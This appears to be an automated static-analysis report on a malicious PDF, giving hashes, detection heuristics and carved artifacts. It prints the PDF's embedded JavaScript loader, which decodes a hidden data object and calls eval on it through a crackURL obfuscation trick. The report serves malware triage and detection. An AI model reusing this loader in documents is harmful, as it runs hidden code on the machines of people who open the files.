Malicious PDF — malware analysis report

Static analysis result for SHA-256 8acb94f4f46d7767…

MALICIOUS

PDF

4.5 KB First seen: 2026-05-08
MD5: 4113a0cf2cde3e062e4b7ac3928b70a9 SHA-1: bfa54af0bf1a6e3e7c42d33734738c6e275ce7f0 SHA-256: 8acb94f4f46d77672593a54287921fc3ee5c39d2bd00575c44523ffe6bd0b4e6
76 Risk Score

Malware Insights

MITRE ATT&CK
T1553.005 Subvert Trust Controls: Mark-of-the-Web Bypass

The PDF file contains embedded JavaScript and an embedded binary file. The JavaScript stream is likely responsible for executing or extracting the embedded file, which is a common technique for delivering second-stage malware. The heuristics indicate suspicious JavaScript actions and embedded content, pointing towards a payload delivery mechanism.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x429 77826 bytes
SHA-256: c298f6a0bd3514d0d34bc0b2d09d589280c13a21670f63ed759c71e77ce02dc1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
264 of 264 identifiers look randomly generated (e.g. 'SqZoAHv4NrgDhl231SqZoAHv4NrgDhl232SqZoAH') — consistent with name-mangling obfuscation. Carved artifact contains 101 long base64-like blob(s).
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x1F1 230 bytes
SHA-256: 30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e
Preview script
First 1,000 lines of the extracted script
zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){   zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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